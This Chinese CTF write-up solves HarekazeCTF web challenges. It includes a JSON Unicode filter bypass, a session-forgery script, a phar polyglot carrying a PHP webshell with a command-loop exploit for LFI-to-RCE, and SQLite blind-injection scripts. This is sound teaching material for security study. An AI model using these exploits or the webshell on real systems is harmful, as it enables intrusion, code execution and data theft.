在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错
encode_and_encode [100]
-
打开靶机,前两个页面都是 html 页面,第三个给了页面源码
-
源码如下
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'..',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>
";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF{.+}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
-
file_get_contents('php://input')
获取 post 的数据,json_decode($body, true)
用 json 格式解码 post 的数据,然后is_valid($body)
对 post 数据检验,大概输入的格式如下 -
is_valid($body)
对 post 数据检验,导致无法传输$banword
中的关键词,也就无法传输flag
,这里在 json 中,可以使用 Unicode 编码绕过,flag
就等于u0066u006cu0061u0067
-
通过检验后,获取
page
对应的文件,并且页面里的内容也要通过is_valid
检验,然后将文件中HarekazeCTF{}
替换为HarekazeCTF{<censored>}
,这样就无法明文读取 flag -
这里传入
/u0066u006cu0061u0067
后,由于flag
文件中也包含 flag 关键字,所以返回not found
,这也无法使用file://
-
file_get_contents
是可以触发php://filter
的,所以考虑使用伪协议读取,对php
的过滤使用Unicode
绕过即可 -
可以看出,json 在传输时是 Unicode 编码的
Avatar Uploader 1 [100]
-
给了源码,打开靶机,登录之后,是一个文件上传
-
首先
config.php
中定义了一些常量 -
然后在
upload.php
中判断文件大小,并使用FILEINFO
判断上传图片类型,上传图片只能是 png 类型 -
后面再用
getimagesize
判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag -
在这两种判断上传图片类型的函数中,有一个很有趣的现象,
FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而getimagesize
不可以,代码如下
<?php
$file = finfo_open(FILEINFO_MIME_TYPE);
var_dump(finfo_file($file, "test"));
$f = getimagesize("test");
var_dump($f[2] === IMAGETYPE_PNG);
-
结果,16进制文件也在下面
-
直接上传这个文件就可以获取 flag 了
Easy Notes [200]
-
给了源码,打开靶机,是一个笔记系统
-
在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证
-
登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击
Get flag
提示不是 admin -
既然拿到源码就先看看全局配置
config.php
,就写了一行,定义临时文件目录
define('TEMP_DIR', '/var/www/tmp');
-
进入
page/flag.php
看一下给出 flag 的条件,要满足is_admin()
函数 -
跟进
is_admin()
函数,没有发现什么可以利用的地方 -
看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在
TEMP_DIR
,和session
信息保存在同一个位置,那么是不是可以考虑伪造 session -
session 文件以
sess_
开头,且只含有a-z
,A-Z
,0-9
,-
-
看到
$filename
处可以满足所有的条件 -
构造
user
为sess_
,type
为.
,经过处理之后,$path
就是TEMP_DIR/sess_0123456789abcdef
这就伪造了一个 session 文件 -
然后向这个文件写入 note 的
title
-
php 默认的 session 反序列化方式是
php
,其存储方式为键名+竖线+经过serialize函数序列处理的值
,这就可以伪造admin
了 -
在最后,它会将构造的
$filename
返回,这样就可以拿到构造出的 admin 的 session 数据 -
很典型的 session 伪造,session 反序列化
-
利用脚本
import re
import requests
URL = 'http://192.168.233.136:9000/'
while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})
# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})
# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)
# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF{.+}', r)
if len(flag) > 0:
print(flag[0])
break
Avatar Uploader 2 [300]
- 接
Uploader1
,这里是找第二个 flag - 给的 hint: https://php.net/manual/ja/function.password-hash.php
upload.php
中可以利用的暂时已经利用完了,看一下index.php
吧index.php
代码简化大致如下
<?php
error_reporting(0);
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
$flash = $session->get('flash');
$session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();
include('common.css');
include($session->get('theme', 'light') . '.css');
if ($session->isset('name')) {
echo "Hello".$session->get('name')."</br>";
}
if ($flash) {
echo $flash['type']."</br>";
echo $flash['message']."</br>";
}
if ($session->isset('name')) {
echo "Please upload"."</br>";
} else {
echo "Please sign in"."</br>";
}
-
这里的 session 处理机制是自己写的,在
libsession.php
中,首先确认的事情是,登录后 HTTP 头部返回的Cookie
是session=******.******
这种格式的 -
首先
__construct
中,判断session
是否存在$_COOKIE
中,如果存在则以.
分割session
,然后对data
和signature
进行verify
函数认证,认证成功就返回数据的json_decode
的结果 -
isset
中判断参数$key
是否在data
中,get
中返回data
中key
为参数$key
的数据,set
中将data
中key
为参数$key
的数据设置为参数$value
,unset
中删除data
中key
为参数$key
的数据 -
save
中将data
转化为 json 并进行urlsafe_base64_encode
,再用sign
对data
进行签名 -
这样整个
session.php
就完了,回到index.php
,然后进行的是flash
的判断,找了一下,在libutil.php
中描述了flash
并且给了调用flash
函数的条件,即error
函数,找了一下,error
在upload.php
中,上传失败时调用 -
做的测试如图,
flash
将错误信息保存在session
中的 -
根据给的提示,
password_hash
函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在sign
中被调用,sign
被save
调用,save
在index.php
中被调用 -
password_hash
函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过 -
那么是不是可以登录一次,然后访问
upload.php
触发error
函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作 -
可以看到,在
index.php
中存在一行代码include($session->get('theme','light').'.css');
,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在include
时触发 RCE -
生成 phar 代码
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
-
本地对这个 phar 做的一个测试
-
新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去
upload.php
触发一次error
,记录data
和signature
,修改data
,增加theme
键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问index.php
传入命令即可 -
exp.py
import base64
import json
import re
import requests
import urllib.parse
url = 'http://192.168.233.136:9003/'
def b64decode(s):
return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))
sess = requests.Session()
username = b"peri0d".decode()
url_1 = url + 'signin.php'
sess.post(url=url_1, data={'name': username})
url_2 = url + 'upload.php'
f = open('exp.phar', 'rb')
sess.post(url_2, files={'file': ('exp.png', f)})
data = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(data))
avatar = data['avatar']
url_3 = url + 'upload.php'
sess.get(url_3, allow_redirects=False)
data, sig = sess.cookies['session'].split('.')
data = b64decode(data)
payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)
while True:
command = input('> ')
c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
result = re.findall(r'/* light/dark.css */(.+)/**/', c, flags=re.DOTALL)[0]
print(result.strip())
Sqlite Voting [350]
-
打开靶机,看到投票的页面,并且给了源码
-
在
vote.php
页面POST
参数id
,只能为数字。并且在schema.sql
中发现了flag
表
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
- 在
vote.php
中给出了查询的 SQL 语句,但是对参数进行了检测
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > _ ` ~ -
"["%'*+\/<=>\\_`~-]",
// whitespace chars
's',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
-
UPDATE
成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了'
和"
这就无法使用字符进行判断,char
又被过滤也无法使用 ASCII 码判断 -
所以可以考虑使用
hex
进行字符判断,将所有的的字符串组合用有限的 36 个字符表示 -
先考虑对 flag 16 进制长度的判断,假设它的长度为
x
,y
表示 2 的 n 次方,那么x&y
就能表现出x
二进制为 1 的位置,将这些y
再进行或运算就可以得到完整的x
的二进制,也就得到了 flag 的长度,而1<<n
恰可以表示 2 的 n 次方 -
那么如何构造报错语句呢?在
sqlite3
中,abs
函数有一个整数溢出的报错,如果abs
的参数是-9223372036854775808
就会报错,同样如果是正数也会报错 -
判断长度的 payload :
abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
-
脚本如下,长度 84
import requests
url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}
r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n
print(l)
- 然后考虑逐字符进行判断,但是
is_valid()
过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断 - 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出
ABCDEF
,这样十六进制的所有字符都可以使用了,并且使用trim(0,0)
来表示空字符
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
C = 'trim(hex(typeof(.1)),12567)'
D = 'trim(hex(0xffffffffffffffff),123)'
E = 'trim(hex(0.1),1230)'
F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
- 然后逐字符进行爆破,已经知道 flag 格式为
flag{}
,hex(b'flag{')==666C61677B
,在其后面逐位添加十六进制字符,构成 paylaod - 再利用
replace(length(replace(flag,payload,''))),84,'')
这个语句进行判断 - 如果 flag 不包含 payload ,那么得到的
length
必为 84 ,最外面的replace
将返回false
,通过case when then else
构造abs
参数为0
,它不报错 - 如果 flag 包含 payload ,那么
replace(flag, payload, '')
将 flag 中的 payload 替换为空,得到的length
必不为 84 ,最外面的replace
将返回true
,通过case when then else
构造abs
参数为0x8000000000000000
令其报错 - 以上就可以根据报错爆破出 flag,最后附上出题人脚本
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
题目总结
- json 传输时是 Unicode 编码的,可以使用 Unicode 编码来绕过一个关键词过滤
FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而getimagesize
不可以- php 默认的 session 反序列化方式是
php
,其存储方式为键名+竖线+经过serialize函数序列处理的值
,默认保存在/tmp
- 上传文件存放的位置在
TEMP_DIR
,和session
信息保存在同一个位置,那么是不是可以考虑伪造 session password_hash
函数只对第一个参数的前 72 个字符有效- phar 是一系列文件的集合,通过
addFromString(filename, file_content)
写入信息,那么通过phar://test.phar/filename
自然可以读取到,通常文件上传多可以考虑 phar - sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象